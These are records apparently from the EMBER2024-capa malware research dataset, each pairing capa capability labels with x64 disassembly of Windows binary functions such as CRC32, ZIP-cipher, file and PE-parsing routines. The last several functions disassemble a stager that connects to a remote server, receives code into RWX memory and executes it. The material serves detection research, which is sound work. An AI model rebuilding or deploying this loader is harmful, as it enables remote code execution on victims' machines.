joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140012380
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 8
mov r10d, r8d
mov r9, rdx
test rdx, rdx
jne 0x140012396
xor eax, eax
add rsp, 8
ret
mov qword [rsp], rbx
lea rbx, [0x1400640e0]
not ecx
cmp r10d, 8
jb 0x140012488
mov r11, r10
shr r11, 3
nop dword [rax]
nop dword [rax + rax]
movzx edx, byte [r9]
mov eax, ecx
xor rdx, rax
shr ecx, 8
movzx eax, dl
add r10d, 0xfffffff8
mov edx, dword [rbx + rax*4]
xor edx, ecx
movzx ecx, byte [r9 + 1]
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 2]
mov r8d, dword [rbx + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 3]
mov edx, dword [rbx + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 4]
mov r8d, dword [rbx + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 5]
mov edx, dword [rbx + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 6]
mov r8d, dword [rbx + rax*4]
xor r8d, edx
mov eax, r8d
shr r8d, 8
xor rcx, rax
movzx eax, cl
movzx ecx, byte [r9 + 7]
add r9, 8
mov edx, dword [rbx + rax*4]
xor edx, r8d
mov eax, edx
shr edx, 8
xor rcx, rax
movzx eax, cl
mov ecx, dword [rbx + rax*4]
xor ecx, edx
sub r11, 1
jne 0x1400123c0
test r10d, r10d
je 0x1400124b0
nop dword [rax]
movzx edx, byte [r9]
lea r9, [r9 + 1]
mov eax, ecx
xor rdx, rax
shr eax, 8
movzx r8d, dl
mov ecx, dword [rbx + r8*4]
xor ecx, eax
add r10d, 0xffffffff
jne 0x140012490
mov rbx, qword [rsp]
not ecx
mov eax, ecx
add rsp, 8
ret

Function at 0x140012e00
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
mov rsi, r8
mov rdi, r9
imul esi, edx
mov rbp, rdx
cmp byte [r9], 0
mov r10, rcx
je 0x140012e50
mov rdx, rcx
mov qword [rsp + 0x20], 0
mov rcx, qword [rdi + 8]
lea r9, [rsp + 0x48]
mov r8d, esi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x140012e4a
mov byte [rdi + 0x10], 1
mov eax, dword [rsp + 0x48]
jmp 0x140012e81
mov edx, dword [r9 + 0x2c]
mov ecx, dword [r9 + 0x28]
mov qword [rsp + 0x40], rbx
lea eax, [rdx + rsi]
cmp eax, ecx
jbe 0x140012e68
sub ecx, edx
mov esi, ecx
add rdx, qword [r9 + 0x20]
mov rcx, r10
mov r8d, esi
call fcn.140036d80
add dword [rdi + 0x2c], esi
mov rbx, qword [rsp + 0x40]
mov eax, esi
mov rsi, qword [rsp + 0x58]
xor edx, edx
div rbp
mov rbp, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140013910
Capabilities:
Generate random numbers using the delphi lcg
Hash data with crc32

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rsi, rdx
mov rdi, rcx
test rcx, rcx
jne 0x14001392e
mov eax, 0xffffff9a
add rsp, 0x28
pop rdi
pop rsi
ret
cmp dword [rcx + 0x1c], 0
je 0x140013922
cmp qword [rcx + 0x80], 0
je 0x140013943
call fcn.140013e80
lea r9, [rsp + 0x50]
mov rcx, rdi
lea r8, [rsp + 0x40]
lea rdx, [rsp + 0x58]
call fcn.140013740
test eax, eax
je 0x14001396a
mov eax, 0xffffff99
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 0xb0
mov qword [rsp + 0x48], rbx
call fcn.14003d070
mov rbx, rax
test rax, rax
jne 0x140013990
lea eax, [rbx - 0x68]
mov rbx, qword [rsp + 0x48]
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 0x4000
mov qword [rsp + 0x20], rbp
call fcn.14003d070
mov ecx, dword [rsp + 0x40]
xor ebp, ebp
mov dword [rbx + 0x68], ecx
mov ecx, dword [rsp + 0x50]
mov dword [rbx + 0x6c], ecx
mov qword [rbx], rax
mov dword [rbx + 0x70], ebp
test rax, rax
jne 0x1400139d6
mov rcx, rbx
call fcn.14003dd64
mov rbx, qword [rsp + 0x48]
lea eax, [rbp - 0x68]
mov rbp, qword [rsp + 0x20]
add rsp, 0x28
pop rdi
pop rsi
ret
mov dword [rbx + 0x64], ebp
mov ecx, ebp
cmp dword [rdi + 0x38], ecx
mov eax, dword [rdi + 0x40]
mov dword [rbx + 0x78], eax
sete cl
mov dword [rbx + 0x74], ebp
mov eax, dword [rdi + 0x38]
mov dword [rbx + 0x90], eax
mov rax, qword [rdi]
mov qword [rbx + 0x88], rax
mov eax, dword [rdi + 0x10]
mov dword [rbx + 0x94], eax
mov dword [rbx + 0x24], ebp
test ecx, ecx
jne 0x140013a2d
lea rcx, [rbx + 8]
mov qword [rbx + 0x38], rbp
mov qword [rbx + 0x40], rbp
mov qword [rbx + 0x48], rbp
call fcn.1400126e0
test eax, eax
jne 0x140013a2d
mov dword [rbx + 0x64], 1
mov eax, dword [rdi + 0x44]
mov dword [rbx + 0x7c], eax
mov eax, dword [rdi + 0x48]
mov dword [rbx + 0x80], eax
movzx eax, byte [rdi + 0x34]
and al, 1
mov byte [rbx + 0x98], al
mov eax, dword [rdi + 0x34]
shr eax, 3
test al, 1
je 0x140013a58
movzx eax, byte [rdi + 0x3d]
jmp 0x140013a5c
movzx eax, byte [rdi + 0x43]
mov byte [rbx + 0xac], al
movzx eax, byte [rbx + 0x98]
neg al
sbb ecx, ecx
and ecx, 0xc
mov dword [rbx + 0xa8], ecx
mov dword [rbx + 0x9c], 0x12345678
mov dword [rbx + 0xa0], 0x23456789
mov dword [rbx + 0xa4], 0x34567890
test rsi, rsi
je 0x140013b03
lea r8, [0x1400640e0]
movzx eax, byte [rsi]
test al, al
je 0x140013b03
mov edx, dword [rbx + 0x9c]
mov ecx, edx
xor rcx, rax
shr edx, 8
movzx eax, cl
mov ecx, dword [r8 + rax*4]
xor ecx, edx
mov edx, dword [rbx + 0xa4]
movzx eax, cl
add eax, dword [rbx + 0xa0]
mov dword [rbx + 0x9c], ecx
imul ecx, eax, 0x8088405
inc ecx
mov dword [rbx + 0xa0], ecx
movzx eax, byte [rbx + 0xa3]
movzx ecx, dl
xor rcx, rax
shr edx, 8
mov eax, dword [r8 + rcx*4]
xor eax, edx
mov dword [rbx + 0xa4], eax
add rsi, 1
jne 0x140013aa0
mov ecx, dword [rdi + 0x7c]
mov eax, dword [rsp + 0x58]
mov dword [rbx + 0x10], ebp
add eax, 0x1e
mov rbp, qword [rsp + 0x20]
add ecx, eax
mov dword [rbx + 0x60], ecx
xor eax, eax
mov qword [rdi + 0x80], rbx
mov rbx, qword [rsp + 0x48]
add rsp, 0x28
pop rdi
pop rsi
ret
Function at 0x140013fd0
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x20], r9d
push rdi
sub rsp, 0x20
cmp qword [rcx], 0
mov rsi, rdx
mov rdi, rcx
jne 0x14001409f
cmp dword [rcx + 8], 0xffffffff
jne 0x14001409f
mov qword [rsp + 0x30], rbx
lea rbx, [rcx + 0x150]
mov rdx, rbx
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
or rax, 0xffffffffffffffff
nop word [rax + rax]
cmp byte [rbx + rax + 1], 0
lea rax, [rax + 1]
jne 0x140014020
movzx ecx, byte [rax + rdi + 0x14f]
cmp cl, 0x5c
je 0x140014054
cmp cl, 0x2f
je 0x140014054
dec rbx
cmp byte [rbx + 1], 0
lea rbx, [rbx + 1]
jne 0x140014040
movzx eax, word [0x140066408]
mov word [rbx], ax
lea r9, [rsp + 0x48]
mov rcx, rsi
call fcn.140012c50
mov rbx, qword [rsp + 0x30]
test rax, rax
jne 0x14001407a
mov eax, dword [rsp + 0x48]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov rcx, rax
call fcn.1400131f0
xor ecx, ecx
mov qword [rdi], rax
test rax, rax
mov edx, 0x200
cmove ecx, edx
mov eax, ecx
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
mov eax, 0x1000000
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret

Function at 0x140014710
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
mov qword [rsp + 0x20], rbx
push rsi
sub rsp, 0x250
mov rax, qword [0x1400731c8]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rsi, rdx
mov rbx, rcx
test rcx, rcx
je 0x140014750
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x140014750
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movzx eax, byte [rsi]
test al, al
je 0x140014844
mov qword [rsp + 0x270], rdi
mov rcx, rsi
mov rdi, rsi
nop dword [rax]
cmp al, 0x2f
je 0x140014778
cmp al, 0x5c
jne 0x14001477b
mov rdi, rcx
movzx eax, byte [rcx + 1]
inc rcx
test al, al
jne 0x140014770
cmp rdi, rsi
je 0x1400147c6
sub rdi, rsi
lea rcx, [rsp + 0x130]
mov r8, rdi
mov rdx, rsi
call fcn.140036d80
cmp rdi, 0x104
jae 0x140014865
lea rdx, [rsp + 0x130]
mov byte [rsp + rdi + 0x130], 0
mov rcx, rbx
call fcn.140014710
mov byte [rsp + 0x20], 0
test rbx, rbx
je 0x1400147ee
lea rcx, [rsp + 0x20]
sub rcx, rbx
nop dword [rax + rax]
movzx eax, byte [rbx]
mov byte [rcx + rbx], al
lea rbx, [rbx + 1]
test al, al
jne 0x1400147e0
lea rcx, [rsp + 0x20]
dec rcx
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400147f6
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsi + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x140014810
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x14001483c
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov rdi, qword [rsp + 0x270]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140017e70
mov rbx, qword [rsp + 0x278]
add rsp, 0x250
pop rsi
ret
call fcn.1400185c8
int3
Function at 0x1400155f0
Capabilities:
Encode data using xor
Generate random numbers using the delphi lcg
Hash data with crc32
Write file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
cmp byte [rcx + 0x41], 0
mov rsi, rdx
mov edi, r8d
mov rbx, rcx
je 0x1400156f7
mov rcx, qword [rcx + 0x50]
mov qword [rsp + 0x48], rbp
test rcx, rcx
je 0x140015632
cmp dword [rbx + 0x58], edi
jae 0x140015632
call fcn.140017ed8
mov qword [rbx + 0x50], 0
cmp qword [rbx + 0x50], 0
jne 0x140015648
lea ecx, [rdi + rdi]
call fcn.140017ee0
mov qword [rbx + 0x50], rax
mov dword [rbx + 0x58], edi
mov rcx, qword [rbx + 0x50]
mov r8, rdi
mov rdx, rsi
mov rbp, rdi
call fcn.140036d80
test edi, edi
je 0x1400156ee
xor r11d, r11d
lea rsi, [0x1400658b0]
nop dword [rax]
mov rax, qword [rbx + 0x50]
lea r11, [r11 + 1]
mov r8d, dword [rbx + 0x4c]
mov edx, dword [rbx + 0x44]
mov r9d, r8d
mov ecx, edx
and r9d, 0xfffd
movsx r10, byte [r11 + rax - 1]
or r9d, 2
xor rcx, r10
shr edx, 8
movzx eax, cl
mov ecx, dword [rsi + rax*4]
xor ecx, edx
movzx eax, cl
add eax, dword [rbx + 0x48]
mov dword [rbx + 0x44], ecx
imul ecx, eax, 0x8088405
inc ecx
mov dword [rbx + 0x48], ecx
movzx eax, byte [rbx + 0x4b]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
mov eax, dword [rsi + rcx*4]
mov ecx, r9d
xor ecx, 1
xor eax, r8d
imul ecx, r9d
mov dword [rbx + 0x4c], eax
mov rax, qword [rbx + 0x50]
shr ecx, 8
xor cl, r10b
mov byte [r11 + rax - 1], cl
sub rbp, 1
jne 0x140015670
mov rsi, qword [rbx + 0x50]
mov rbp, qword [rsp + 0x48]
mov rdx, qword [rbx + 0x30]
test rdx, rdx
je 0x140015747
mov ecx, dword [rbx + 0x38]
lea eax, [rcx + rdi]
cmp eax, dword [rbx + 0x3c]
jb 0x140015724
mov dword [rbx + 0x24], 0x30000
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
add rcx, rdx
mov r8, rdi
mov rdx, rsi
call fcn.140036d80
add dword [rbx + 0x38], edi
mov eax, edi
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rcx, qword [rbx + 8]
test rcx, rcx
je 0x14001577e
lea r9, [rsp + 0x40]
mov qword [rsp + 0x20], 0
mov r8d, edi
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov eax, dword [rsp + 0x40]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret
mov rsi, qword [rsp + 0x58]
xor eax, eax
mov dword [rbx + 0x24], 0x1000000
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x14001803c
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x1400180cd
movsxd rax, dword [0x14000003c]
lea rdx, [0x140000000]
lea rcx, [rax + rdx]
cmp dword [rcx], 0x4550
jne 0x1400180cd
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400180cd
sub r8, rdx
movzx eax, word [rcx + 0x14]
lea rdx, [rcx + 0x18]
add rdx, rax
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x1400180b1
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x1400180ab
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x1400180b3
add rdx, 0x28
jmp 0x140018090
xor edx, edx
test rdx, rdx
jne 0x1400180bc
xor al, al
jmp 0x1400180d3
test dword [rdx + 0x24], 0x80000000
je 0x1400180c9
xor al, al
jmp 0x1400180d3
mov al, 1
jmp 0x1400180d3
xor al, al
jmp 0x1400180d3
add rsp, 0x18
ret

Function at 0x14001a4c8
Capabilities:
Set thread local storage value

Disassembly:
sub rsp, 0x48
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
test eax, eax
je 0x14001a4db
add rsp, 0x48
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
movzx edx, ax
lea rcx, [rsp + 0x20]
or edx, 0x80070000
test eax, eax
cmovle edx, eax
call fcn.14001aaf8
lea rdx, [0x140070f98]
lea rcx, [rsp + 0x20]
call fcn.14003893c
int3

Function at 0x140026724
Capabilities:
Set thread local storage value

Disassembly:
mov ecx, dword [0x140077700]
xor edx, edx
jmp fcn.14001a4c8

Function at 0x14002710c
Capabilities:
Set thread local storage value

Disassembly:
mov rdx, rcx
mov ecx, dword [0x140077700]
jmp fcn.14001a4c8

Function at 0x14002aa4c
Capabilities:
Get thread local storage value

Disassembly:
push rbx
sub rsp, 0x20
mov rax, qword [rcx + 0x18]
xor ebx, ebx
mov ecx, dword [rax + 0xb0]
call sub.KERNEL32.dll_TlsGetValue
test rax, rax
je 0x14002aa71
mov cl, al
and cl, 3
cmove rbx, rax
mov rax, rbx
add rsp, 0x20
pop rbx
ret

Function at 0x140034514
Capabilities:
Get thread local storage value

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [rcx + 0x30]
mov rdi, rcx
mov rdx, qword [rax + 0x18]
mov ecx, dword [rdx + 0xb0]
call sub.KERNEL32.dll_TlsGetValue
mov r8, rax
test rax, rax
je 0x14003455f
mov dl, al
and dl, 3
cmp dl, 1
jne 0x14003455f
and r8, 0xfffffffffffffffe
je 0x14003455f
mov rax, qword [rdi + 0x80]
cmp r8, rax
jne 0x14003455f
and qword [r8 + 0x20], 0
jmp 0x140034594
and dword [rsp + 0x28], 0
lea rax, [0x14001a8d4]
mov qword [rsp + 0x30], rax
jmp 0x140034588
mov rax, qword [rdi + 0x88]
test rax, rax
jne 0x140034594
lea rcx, [rsp + 0x20]
call fcn.14001988c
mov rax, qword [rdi + 0x80]
test rax, rax
jne 0x140034572
mov rax, qword [rdi]
mov rbx, qword [rax + 0x40]
mov rcx, rbx
call fcn.140018ae4
mov edx, 1
mov rcx, rdi
mov rax, rbx
mov rbx, qword [rsp + 0x50]
add rsp, 0x40
pop rdi
jmp rax
Function at 0x14003f958
Capabilities:
Parse pe header

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0x20
mov esi, r8d
mov ebx, edx
mov r14d, ecx
test r8d, r8d
jne 0x14003f72c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003f72c
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003f72c
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003f72c
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003f72c
cmp dword [rcx + 0x84], 0xe
jbe 0x14003f72c
cmp dword [rcx + 0xf8], esi
je 0x14003f72c
mov ecx, r14d
call fcn.14003f874
mov ecx, 2
call fcn.14003e0f4
nop
cmp byte [0x140077c10], 0
jne 0x14003f7f6
mov r15d, 1
mov eax, r15d
xchg dword [0x140077c00], eax
test ebx, ebx
jne 0x14003f79f
mov rdi, qword [0x1400731c8]
mov edx, edi
and edx, 0x3f
lea ecx, [rbx + 0x40]
sub ecx, edx
xor eax, eax
ror rax, cl
xor rax, rdi
mov rcx, qword [0x140077c08]
cmp rcx, rax
je 0x14003f796
xor rdi, rcx
mov ecx, edx
ror rdi, cl
mov rcx, rdi
call qword [fcn.1400087e0]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rcx, [0x140077c38]
jmp 0x14003f7ab
cmp ebx, r15d
jne 0x14003f7b1
lea rcx, [0x140077c50]
call fcn.140040098
nop
test ebx, ebx
jne 0x14003f7c8
lea rdx, [0x1400536d0]
lea rcx, [0x1400536a8]
call fcn.1400406f8
lea rdx, [0x1400536e0]
lea rcx, [0x1400536d8]
call fcn.1400406f8
movzx eax, byte [0x140077c10]
test esi, esi
cmove eax, r15d
mov byte [0x140077c10], al
jmp 0x14003f7f6
mov ecx, 2
call fcn.14003e148
test esi, esi
jne 0x14003f80d
mov ecx, r14d
call fcn.14003f828
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
mov r14, qword [rsp + 0x48]
add rsp, 0x20
pop r15
ret
xor r8d, r8d
xor edx, edx
jmp 0x14003f6bc
Function at 0x3953f13c4
Capabilities:
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x1c0
lea rbp, [rsp + 0x80]
mov word [rbp + 0x13e], 0x202
movzx eax, word [rbp + 0x13e]
lea rdx, [rbp - 0x60]
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
test eax, eax
jns 0x3953f1419
lea rax, str.bad_n
mov rcx, rax
call fcn.3953f1370
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov ecx, 1
call sub.msvcrt.dll_exit
nop
add rsp, 0x1c0
pop rbp
ret

Function at 0x3953f146d
Capabilities:
Receive data
Receive data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov dword [rbp + 0x20], r8d
mov dword [rbp - 4], 0
mov dword [rbp - 0x14], 0
mov rax, qword [rbp + 0x18]
mov qword [rbp - 0x10], rax
jmp 0x3953f14e9
mov eax, dword [rbp + 0x20]
sub eax, dword [rbp - 4]
mov ecx, eax
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x10]
mov r9d, 0
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 0x14], eax
mov eax, dword [rbp - 0x14]
cdqe
add qword [rbp - 0x10], rax
mov eax, dword [rbp - 0x14]
add dword [rbp - 4], eax
cmp dword [rbp - 0x14], 0xffffffff
jne 0x3953f14e9
mov rax, qword [rbp + 0x10]
lea rdx, str.no_data
mov rcx, rax
call sym.ggfdxdhgj.dll_punt
mov eax, dword [rbp - 4]
cmp eax, dword [rbp + 0x20]
jl 0x3953f1499
mov eax, dword [rbp - 4]
add rsp, 0x40
pop rbp
ret

Function at 0x3953f14fa
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Resolve dns

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov r8d, 0
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_socket]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
jne 0x3953f1540
mov rax, qword [rbp - 8]
lea rdx, [0x3953f9013]
mov rcx, rax
call sym.ggfdxdhgj.dll_punt
mov rax, qword [rbp + 0x10]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_gethostbyname]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x3953f156e
mov rax, qword [rbp - 8]
lea rdx, [0x3953f9015]
mov rcx, rax
call sym.ggfdxdhgj.dll_punt
mov rax, qword [rbp - 0x10]
movzx eax, word [rax + 0x12]
movsx r8, ax
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 0x18]
mov rax, qword [rax]
lea rdx, [rbp - 0x20]
lea rcx, [rdx + 4]
mov rdx, rax
call sub.msvcrt.dll_memcpy
mov word [rbp - 0x20], 2
mov eax, dword [rbp + 0x18]
movzx eax, ax
mov ecx, eax
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp - 0x1e], ax
lea rdx, [rbp - 0x20]
mov rax, qword [rbp - 8]
mov r8d, 0x10
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
je 0x3953f15e1
mov rax, qword [rbp - 8]
lea rdx, [0x3953f9018]
mov rcx, rax
call sym.ggfdxdhgj.dll_punt
mov rax, qword [rbp - 8]
add rsp, 0x40
pop rbp
ret
Function at 0x3953f15eb
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Receive data
Receive data on socket

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov dword [rbp + 0x10], ecx
mov qword [rbp + 0x18], rdx
call fcn.3953f1800
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
call sym.ggfdxdhgj.dll_winsock_init
lea rax, sym.ggfdxdhgj.dll_serverp
mov rcx, rax
call sub.msvcrt.dll_atoi
mov edx, eax
lea rax, sym.ggfdxdhgj.dll_server
mov rcx, rax
call sym.ggfdxdhgj.dll_wsconnect
mov qword [rbp - 0x28], rax
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x1c]
mov r9d, 0
mov r8d, 4
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_recv]
call rax
mov dword [rbp - 4], eax
cmp dword [rbp - 4], 4
jne 0x3953f1661
mov eax, dword [rbp - 0x1c]
test eax, eax
jne 0x3953f1674
mov rax, qword [rbp - 0x28]
lea rdx, str.error_lenght_n
mov rcx, rax
call sym.ggfdxdhgj.dll_punt
mov eax, dword [rbp - 0x1c]
add eax, 5
mov eax, eax
mov r9d, 0x40
mov r8d, 0x1000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
jne 0x3953f16b7
mov rax, qword [rbp - 0x28]
lea rdx, str.error_in_buf_n
mov rcx, rax
call sym.ggfdxdhgj.dll_punt
mov rax, qword [rbp - 0x10]
mov byte [rax], 0xbf
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 1]
mov eax, dword [rbp - 0x28]
mov dword [rdx], eax
mov eax, dword [rbp - 0x1c]
mov ecx, eax
mov rax, qword [rbp - 0x10]
lea rdx, [rax + 5]
mov rax, qword [rbp - 0x28]
mov r8d, ecx
mov rcx, rax
call sym.ggfdxdhgj.dll_recv_all
mov dword [rbp - 4], eax
mov rax, qword [rbp - 0x10]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
call rax
mov eax, 0
add rsp, 0x50
pop rbp
ret

Function at 0x3953f18f0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.3953f7460
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call fcn.3953f7460
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop dword [rax]
Function at 0x3953f1960
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x3953fc064]
mov rbx, rcx
test esi, esi
jle 0x3953f1a90
mov rax, qword [0x3953fc068]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x3953f19ab
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x3953f1a35
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x3953f1990
mov rcx, rbx
call fcn.3953f21c0
mov rdi, rax
test rax, rax
je 0x3953f1ab2
mov rax, qword [0x3953fc068]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.3953f2300
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x3953fc068]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x3953f1a97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x3953f1a2e
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x3953f1a40
add dword [0x3953fc064], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x3953fc068]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x3953f1a2e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.3953f18f0
nop dword [rax]
xor esi, esi
jmp 0x3953f19b8
mov rax, qword [0x3953fc068]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.3953f18f0
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.3953f18f0
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x3953f1e30
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x3953fc0a0]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x3953fc080]
test rbx, rbx
je 0x3953f1e8c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x3953f1e83
test rsi, rsi
je 0x3953f1e83
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x3953f1e68
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]